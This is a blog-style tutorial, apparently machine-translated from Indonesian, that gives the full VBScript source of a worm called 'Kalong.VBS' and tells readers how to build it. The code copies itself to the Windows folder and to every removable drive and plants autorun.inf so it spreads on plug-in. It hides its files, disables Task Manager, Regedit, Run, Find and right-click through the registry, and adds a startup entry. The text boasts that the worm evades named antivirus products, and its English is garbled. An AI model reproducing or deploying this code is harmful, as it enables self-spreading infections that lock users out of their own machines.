This virus will make itself spread to removable disc with AutoRun so that other computers plugged an infected flash disc will immediately become victims without running infector User waited for her. This virus I gave the name “Kalong.VBS”. Now open Notepad her.Copy the following code:
|
1
2
|
‘//–Awal dari kode, set agar ketika terjadi Error dibiarkan dan kemudian lanjutkan kegiatan virus–//
on error resume next
|
|
1
2
|
‘//–Dim kata-kata berikut ini–//
dim rekur,windowpath,flashdrive,fs,mf,isi,tf,kalong,nt,check,sd
|
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
‘//–Set sebuah teks yang nantinya akan dibuat untuk Autorun Setup Information–//
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe k4l0n6.dll.vbs”
set fs = createobject(”Scripting.FileSystemObject”)
set mf = fs.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,–2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
|
|
1
2
3
4
5
6
7
8
9
10
11
|
‘//–Copy diri untuk menjadi file induk di Windows Path (example: C:Windows)
Set windowpath = fs.getspecialfolder(0)
set tf = fs.getfile(windowpath & “batch– k4l0n6.dll.vbs “)
tf.attributes = 32
set tf=fs.createtextfile(windowpath & “batch– k4l0n6.dll.vbs”,2,true)
tf.write rekursif
tf.close
set tf = fs.getfile(windowpath & “batch– k4l0n6.dll.vbs “)
tf.attributes = 39
‘//–Buat Atorun.inf untuk menjalankan virus otomatis setiap flash disc tercolok–//
‘Menyebar ke setiap drive yang bertype 1 dan 2(removable) termasuk disket
|
|
1
2
3
|
for each flashdrive in fs.drives
‘//–Cek Drive–//
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> “A:” then
|
|
1
2
3
4
5
6
7
8
|
‘//–Buat Infector jika ternyata Drivetypr 1 atau 2. Atau A:–//
set tf=fs.getfile(flashdrive.path &”k4l0n6.dll.vbs “)
tf.attributes =32
set tf=fs.createtextfile(flashdrive.path &”k4l0n6.dll.vbs “,2,true)
tf.write rekursif
tf.close
set tf=fs.getfile(flashdrive.path &”k4l0n6.dll.vbs “)
tf.attributes = 39
|
|
1
2
3
4
5
6
7
8
9
10
|
‘//–Buat Atorun.inf yang teks-nya tadi sudah disiapkan (Auto Setup Information)–//
set tf =fs.getfile(flashdrive.path &”autorun.inf”)
tf.attributes = 32
set tf=fs.createtextfile(flashdrive.path &”autorun.inf”,2,true)
tf.write isi
tf.close
set tf = fs.getfile(flashdrive.path &”autorun.inf”)
tf.attributes=39
end if
next
|
|
1
|
‘//–Manipulasi Registry–//
|
|
1
|
set kalong = createobject(”WScript.Shell”)
|
|
1
2
|
‘//–Manip – Ubah Title Internet Explorer menjadi THE KALONG v.s. ZAY–//
kalong.regwrite “HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainWindow Title”,” THE KALONG v.s. ZAY “
|
|
1
2
|
‘//–Manip – Set agar file hidden tidak ditampilkan di Explorer–//
kalong.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerAdvancedHidden”, “0″, “REG_DWORD”
|
|
1
2
3
4
5
6
|
‘//–Manip – Hilangkan menu Find, Folder Options, Run, dan memblokir Regedit dan Task Manager–//
kalong.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFind”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFolderOptions”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRun”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools”, “1″, “REG_DWORD”
kalong.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr”, “1″, “REG_DWORD”
|
|
1
2
|
‘//–Manip – Disable klik kanan–//
kalong.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoViewContextMenu”, “1″, “REG_DWORD”
|
|
1
2
|
‘//–Manip – Munculkan Pesan Setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeCaption”, “Worm Kalong. Variant from Rangga–Zay, don’t panic all data are safe.”
|
|
1
2
|
‘//–Manip – Aktif setiap Windows Startup–//
kalong.regwrite “HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunSystemdir”, windowpath & “batch– k4l0n6.dll.vbs “
|
|
1
2
3
|
‘//–Manip – Ubah RegisteredOwner dan Organization–//
kalong.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionRegisteredOrganization”, “The Batrix”
kalong.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionRegisteredOwner”,”Kalong”
|
|
1
2
3
4
5
6
7
8
|
‘//–Nah kalau kode dibawah ini saya nggak tau, tolong Mas Aat_S untuk menjelaskan–//
if check <> 1 then
Wscript.sleep 200000
end if
loop while check <> 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “explorer.exe /e,/select, ” & Wscript.ScriptFullname
‘Akhir dari Kode
|
Save the code in Notepad by means FILE> SAVE. Then save as type select “All Files (*. *). Save with name: k4l0n6.dll.vbs. Need not actually use * .dll also do nothing but attempt to avoid suspicious wrote.
Worm Virus is indeed not purely of my own thoughts because it mimics his code-Zay Rangga virus.But that is better because it is not detectable wear PCMAV RC15, ClamAV, and AVAST. This was counted for you know that makes the virus / worm does not need to buy pirated software. Wear Notepad (on Windows Original) also.
